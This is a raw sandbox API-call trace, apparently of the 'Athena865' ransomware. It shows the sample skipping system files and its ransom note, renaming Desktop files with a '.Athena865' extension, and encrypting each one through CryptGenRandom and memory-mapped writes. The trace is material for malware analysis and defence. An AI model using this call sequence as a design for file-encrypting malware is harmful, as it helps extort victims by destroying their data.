(lpString1="RU-S3sUrMUmc4X.png", lpString2="..") returned 1 [0050.578] lstrcmpiW (lpString1="RU-S3sUrMUmc4X.png", lpString2="windows") returned -1 [0050.578] lstrcmpiW (lpString1="RU-S3sUrMUmc4X.png", lpString2="bootmgr") returned 1 [0050.578] lstrcmpiW (lpString1="RU-S3sUrMUmc4X.png", lpString2="temp") returned -1 [0050.578] lstrcmpiW (lpString1="RU-S3sUrMUmc4X.png", lpString2="pagefile.sys") returned 1 [0050.578] lstrcmpiW (lpString1="RU-S3sUrMUmc4X.png", lpString2="boot") returned 1 [0050.578] lstrcmpiW (lpString1="RU-S3sUrMUmc4X.png", lpString2="ids.txt") returned 1 [0050.578] lstrcmpiW (lpString1="RU-S3sUrMUmc4X.png", lpString2="ntuser.dat") returned 1 [0050.578] lstrcmpiW (lpString1="RU-S3sUrMUmc4X.png", lpString2="perflogs") returned 1 [0050.578] lstrcmpiW (lpString1="RU-S3sUrMUmc4X.png", lpString2="MSBuild") returned 1 [0050.578] lstrlenW (lpString="RU-S3sUrMUmc4X.png") returned 18 [0050.578] lstrcpyW (in: lpString1=0x241e8b6, lpString2="RU-S3sUrMUmc4X.png" | out: lpString1="RU-S3sUrMUmc4X.png") returned="RU-S3sUrMUmc4X.png" [0050.578] lstrlenW (lpString="RU-S3sUrMUmc4X.png") returned 18 [0050.578] lstrlenW (lpString="Athena865") returned 9 [0050.578] lstrcmpiW (lpString1="Umc4X.png", lpString2="Athena865") returned 1 [0050.578] lstrlenW (lpString=".dll") returned 4 [0050.579] lstrcmpiW (lpString1="RU-S3sUrMUmc4X.png", lpString2=".dll") returned 1 [0050.579] lstrlenW (lpString=".lnk") returned 4 [0050.579] lstrcmpiW (lpString1="RU-S3sUrMUmc4X.png", lpString2=".lnk") returned 1 [0050.579] lstrlenW (lpString=".ini") returned 4 [0050.579] lstrcmpiW (lpString1="RU-S3sUrMUmc4X.png", lpString2=".ini") returned 1 [0050.579] lstrlenW (lpString=".sys") returned 4 [0050.579] lstrcmpiW (lpString1="RU-S3sUrMUmc4X.png", lpString2=".sys") returned 1 [0050.579] lstrlenW (lpString="RU-S3sUrMUmc4X.png") returned 18 [0050.579] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\RU-S3sUrMUmc4X.png.Athena865") returned 83 [0050.579] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\RU-S3sUrMUmc4X.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\ru-s3surmumc4x.png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\RU-S3sUrMUmc4X.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\ru-s3surmumc4x.png.athena865"), dwFlags=0x1) returned 1 [0050.580] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\RU-S3sUrMUmc4X.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\ru-s3surmumc4x.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.580] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=23404) returned 1 [0050.580] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.580] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.580] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.580] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.581] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.581] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.581] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5e70, lpName=0x0) returned 0x154 [0050.581] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5e70) returned 0x100000 [0050.582] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.583] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.583] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.583] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.584] CloseHandle (hObject=0x154) returned 1 [0050.584] CloseHandle (hObject=0x17c) returned 1 [0050.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.585] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65b62610, ftCreationTime.dwHighDateTime=0x1d4ccb5, ftLastAccessTime.dwLowDateTime=0x7ba93900, ftLastAccessTime.dwHighDateTime=0x1d4c56a, ftLastWriteTime.dwLowDateTime=0x7ba93900, ftLastWriteTime.dwHighDateTime=0x1d4c56a, nFileSizeHigh=0x0, nFileSizeLow=0x79bd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="s6Bdxi1.csv", cAlternateFileName="")) returned 1 [0050.585] lstrcmpiW (lpString1="s6Bdxi1.csv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.585] lstrcmpiW (lpString1="s6Bdxi1.csv", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.585] lstrcmpiW (lpString1="s6Bdxi1.csv", lpString2=".") returned 1 [0050.585] lstrcmpiW (lpString1="s6Bdxi1.csv", lpString2="..") returned 1 [0050.585] lstrcmpiW (lpString1="s6Bdxi1.csv", lpString2="windows") returned -1 [0050.585] lstrcmpiW (lpString1="s6Bdxi1.csv", lpString2="bootmgr") returned 1 [0050.585] lstrcmpiW (lpString1="s6Bdxi1.csv", lpString2="temp") returned -1 [0050.585] lstrcmpiW (lpString1="s6Bdxi1.csv", lpString2="pagefile.sys") returned 1 [0050.585] lstrcmpiW (lpString1="s6Bdxi1.csv", lpString2="boot") returned 1 [0050.585] lstrcmpiW (lpString1="s6Bdxi1.csv", lpString2="ids.txt") returned 1 [0050.585] lstrcmpiW (lpString1="s6Bdxi1.csv", lpString2="ntuser.dat") returned 1 [0050.586] lstrcmpiW (lpString1="s6Bdxi1.csv", lpString2="perflogs") returned 1 [0050.586] lstrcmpiW (lpString1="s6Bdxi1.csv", lpString2="MSBuild") returned 1 [0050.586] lstrlenW (lpString="s6Bdxi1.csv") returned 11 [0050.586] lstrcpyW (in: lpString1=0x241e8b6, lpString2="s6Bdxi1.csv" | out: lpString1="s6Bdxi1.csv") returned="s6Bdxi1.csv" [0050.586] lstrlenW (lpString="s6Bdxi1.csv") returned 11 [0050.586] lstrlenW (lpString="Athena865") returned 9 [0050.586] lstrcmpiW (lpString1="Bdxi1.csv", lpString2="Athena865") returned 1 [0050.586] lstrlenW (lpString=".dll") returned 4 [0050.586] lstrcmpiW (lpString1="s6Bdxi1.csv", lpString2=".dll") returned 1 [0050.586] lstrlenW (lpString=".lnk") returned 4 [0050.586] lstrcmpiW (lpString1="s6Bdxi1.csv", lpString2=".lnk") returned 1 [0050.586] lstrlenW (lpString=".ini") returned 4 [0050.586] lstrcmpiW (lpString1="s6Bdxi1.csv", lpString2=".ini") returned 1 [0050.586] lstrlenW (lpString=".sys") returned 4 [0050.586] lstrcmpiW (lpString1="s6Bdxi1.csv", lpString2=".sys") returned 1 [0050.586] lstrlenW (lpString="s6Bdxi1.csv") returned 11 [0050.586] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\s6Bdxi1.csv.Athena865") returned 76 [0050.586] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\s6Bdxi1.csv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\s6bdxi1.csv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\s6Bdxi1.csv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\s6bdxi1.csv.athena865"), dwFlags=0x1) returned 1 [0050.587] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\s6Bdxi1.csv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\s6bdxi1.csv.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.587] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31165) returned 1 [0050.587] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.587] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.587] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.587] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.588] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.588] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.588] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7cc0, lpName=0x0) returned 0x154 [0050.588] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7cc0) returned 0x100000 [0050.589] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.590] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.590] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.591] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.591] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.591] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.591] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.591] CloseHandle (hObject=0x154) returned 1 [0050.591] CloseHandle (hObject=0x17c) returned 1 [0050.592] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.592] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.592] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.593] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6494ca00, ftCreationTime.dwHighDateTime=0x1d4c7f3, ftLastAccessTime.dwLowDateTime=0x23b6620, ftLastAccessTime.dwHighDateTime=0x1d4ce5b, ftLastWriteTime.dwLowDateTime=0x23b6620, ftLastWriteTime.dwHighDateTime=0x1d4ce5b, nFileSizeHigh=0x0, nFileSizeLow=0xa640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="T0y9b-5uRnKsw2.wav", cAlternateFileName="T0Y9B-~1.WAV")) returned 1 [0050.593] lstrcmpiW (lpString1="T0y9b-5uRnKsw2.wav", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.593] lstrcmpiW (lpString1="T0y9b-5uRnKsw2.wav", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.593] lstrcmpiW (lpString1="T0y9b-5uRnKsw2.wav", lpString2=".") returned 1 [0050.593] lstrcmpiW (lpString1="T0y9b-5uRnKsw2.wav", lpString2="..") returned 1 [0050.593] lstrcmpiW (lpString1="T0y9b-5uRnKsw2.wav", lpString2="windows") returned -1 [0050.593] lstrcmpiW (lpString1="T0y9b-5uRnKsw2.wav", lpString2="bootmgr") returned 1 [0050.593] lstrcmpiW (lpString1="T0y9b-5uRnKsw2.wav", lpString2="temp") returned -1 [0050.593] lstrcmpiW (lpString1="T0y9b-5uRnKsw2.wav", lpString2="pagefile.sys") returned 1 [0050.593] lstrcmpiW (lpString1="T0y9b-5uRnKsw2.wav", lpString2="boot") returned 1 [0050.593] lstrcmpiW (lpString1="T0y9b-5uRnKsw2.wav", lpString2="ids.txt") returned 1 [0050.593] lstrcmpiW (lpString1="T0y9b-5uRnKsw2.wav", lpString2="ntuser.dat") returned 1 [0050.593] lstrcmpiW (lpString1="T0y9b-5uRnKsw2.wav", lpString2="perflogs") returned 1 [0050.593] lstrcmpiW (lpString1="T0y9b-5uRnKsw2.wav", lpString2="MSBuild") returned 1 [0050.593] lstrlenW (lpString="T0y9b-5uRnKsw2.wav") returned 18 [0050.593] lstrcpyW (in: lpString1=0x241e8b6, lpString2="T0y9b-5uRnKsw2.wav" | out: lpString1="T0y9b-5uRnKsw2.wav") returned="T0y9b-5uRnKsw2.wav" [0050.593] lstrlenW (lpString="T0y9b-5uRnKsw2.wav") returned 18 [0050.593] lstrlenW (lpString="Athena865") returned 9 [0050.593] lstrcmpiW (lpString1="nKsw2.wav", lpString2="Athena865") returned 1 [0050.593] lstrlenW (lpString=".dll") returned 4 [0050.593] lstrcmpiW (lpString1="T0y9b-5uRnKsw2.wav", lpString2=".dll") returned 1 [0050.594] lstrlenW (lpString=".lnk") returned 4 [0050.594] lstrcmpiW (lpString1="T0y9b-5uRnKsw2.wav", lpString2=".lnk") returned 1 [0050.594] lstrlenW (lpString=".ini") returned 4 [0050.594] lstrcmpiW (lpString1="T0y9b-5uRnKsw2.wav", lpString2=".ini") returned 1 [0050.594] lstrlenW (lpString=".sys") returned 4 [0050.594] lstrcmpiW (lpString1="T0y9b-5uRnKsw2.wav", lpString2=".sys") returned 1 [0050.594] lstrlenW (lpString="T0y9b-5uRnKsw2.wav") returned 18 [0050.594] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\T0y9b-5uRnKsw2.wav.Athena865") returned 83 [0050.594] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\T0y9b-5uRnKsw2.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\t0y9b-5urnksw2.wav"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\T0y9b-5uRnKsw2.wav.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\t0y9b-5urnksw2.wav.athena865"), dwFlags=0x1) returned 1 [0050.594] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\T0y9b-5uRnKsw2.wav.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\t0y9b-5urnksw2.wav.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.595] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=42560) returned 1 [0050.595] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.595] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.595] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.595] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.596] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.596] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.596] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa940, lpName=0x0) returned 0x154 [0050.596] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa940) returned 0x100000 [0050.598] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.598] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.598] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.598] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.598] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.598] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.598] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.599] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.599] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.599] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.599] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.599] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.599] CloseHandle (hObject=0x154) returned 1 [0050.599] CloseHandle (hObject=0x17c) returned 1 [0050.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.601] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8d3f6e0, ftCreationTime.dwHighDateTime=0x1d4c978, ftLastAccessTime.dwLowDateTime=0x86b2a690, ftLastAccessTime.dwHighDateTime=0x1d4ca26, ftLastWriteTime.dwLowDateTime=0x86b2a690, ftLastWriteTime.dwHighDateTime=0x1d4ca26, nFileSizeHigh=0x0, nFileSizeLow=0x3bba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TMvmEmS.m4a", cAlternateFileName="")) returned 1 [0050.601] lstrcmpiW (lpString1="TMvmEmS.m4a", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.601] lstrcmpiW (lpString1="TMvmEmS.m4a", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.601] lstrcmpiW (lpString1="TMvmEmS.m4a", lpString2=".") returned 1 [0050.601] lstrcmpiW (lpString1="TMvmEmS.m4a", lpString2="..") returned 1 [0050.601] lstrcmpiW (lpString1="TMvmEmS.m4a", lpString2="windows") returned -1 [0050.601] lstrcmpiW (lpString1="TMvmEmS.m4a", lpString2="bootmgr") returned 1 [0050.601] lstrcmpiW (lpString1="TMvmEmS.m4a", lpString2="temp") returned 1 [0050.601] lstrcmpiW (lpString1="TMvmEmS.m4a", lpString2="pagefile.sys") returned 1 [0050.601] lstrcmpiW (lpString1="TMvmEmS.m4a", lpString2="boot") returned 1 [0050.601] lstrcmpiW (lpString1="TMvmEmS.m4a", lpString2="ids.txt") returned 1 [0050.601] lstrcmpiW (lpString1="TMvmEmS.m4a", lpString2="ntuser.dat") returned 1 [0050.601] lstrcmpiW (lpString1="TMvmEmS.m4a", lpString2="perflogs") returned 1 [0050.601] lstrcmpiW (lpString1="TMvmEmS.m4a", lpString2="MSBuild") returned 1 [0050.601] lstrlenW (lpString="TMvmEmS.m4a") returned 11 [0050.601] lstrcpyW (in: lpString1=0x241e8b6, lpString2="TMvmEmS.m4a" | out: lpString1="TMvmEmS.m4a") returned="TMvmEmS.m4a" [0050.601] lstrlenW (lpString="TMvmEmS.m4a") returned 11 [0050.601] lstrlenW (lpString="Athena865") returned 9 [0050.601] lstrcmpiW (lpString1="vmEmS.m4a", lpString2="Athena865") returned 1 [0050.601] lstrlenW (lpString=".dll") returned 4 [0050.601] lstrcmpiW (lpString1="TMvmEmS.m4a", lpString2=".dll") returned 1 [0050.601] lstrlenW (lpString=".lnk") returned 4 [0050.601] lstrcmpiW (lpString1="TMvmEmS.m4a", lpString2=".lnk") returned 1 [0050.602] lstrlenW (lpString=".ini") returned 4 [0050.602] lstrcmpiW (lpString1="TMvmEmS.m4a", lpString2=".ini") returned 1 [0050.602] lstrlenW (lpString=".sys") returned 4 [0050.602] lstrcmpiW (lpString1="TMvmEmS.m4a", lpString2=".sys") returned 1 [0050.602] lstrlenW (lpString="TMvmEmS.m4a") returned 11 [0050.602] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\TMvmEmS.m4a.Athena865") returned 76 [0050.602] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\TMvmEmS.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\tmvmems.m4a"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\TMvmEmS.m4a.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\tmvmems.m4a.athena865"), dwFlags=0x1) returned 1 [0050.602] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\TMvmEmS.m4a.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\tmvmems.m4a.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.603] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15290) returned 1 [0050.603] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.603] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.603] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.603] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.604] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.604] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.604] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3ec0, lpName=0x0) returned 0x154 [0050.604] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3ec0) returned 0x100000 [0050.604] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.605] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.605] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.605] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.605] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.605] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.605] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.605] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.610] lstrcpyW (in: lpString1=0x241e8b6, lpString2="wL8XfzGqjG.mkv" | out: lpString1="wL8XfzGqjG.mkv") returned="wL8XfzGqjG.mkv" [0050.610] lstrlenW (lpString="wL8XfzGqjG.mkv") returned 14 [0050.610] lstrlenW (lpString="Athena865") returned 9 [0050.611] lstrcmpiW (lpString1="zGqjG.mkv", lpString2="Athena865") returned 1 [0050.611] lstrlenW (lpString=".dll") returned 4 [0050.611] lstrcmpiW (lpString1="wL8XfzGqjG.mkv", lpString2=".dll") returned 1 [0050.611] lstrlenW (lpString=".lnk") returned 4 [0050.611] lstrcmpiW (lpString1="wL8XfzGqjG.mkv", lpString2=".lnk") returned 1 [0050.611] lstrlenW 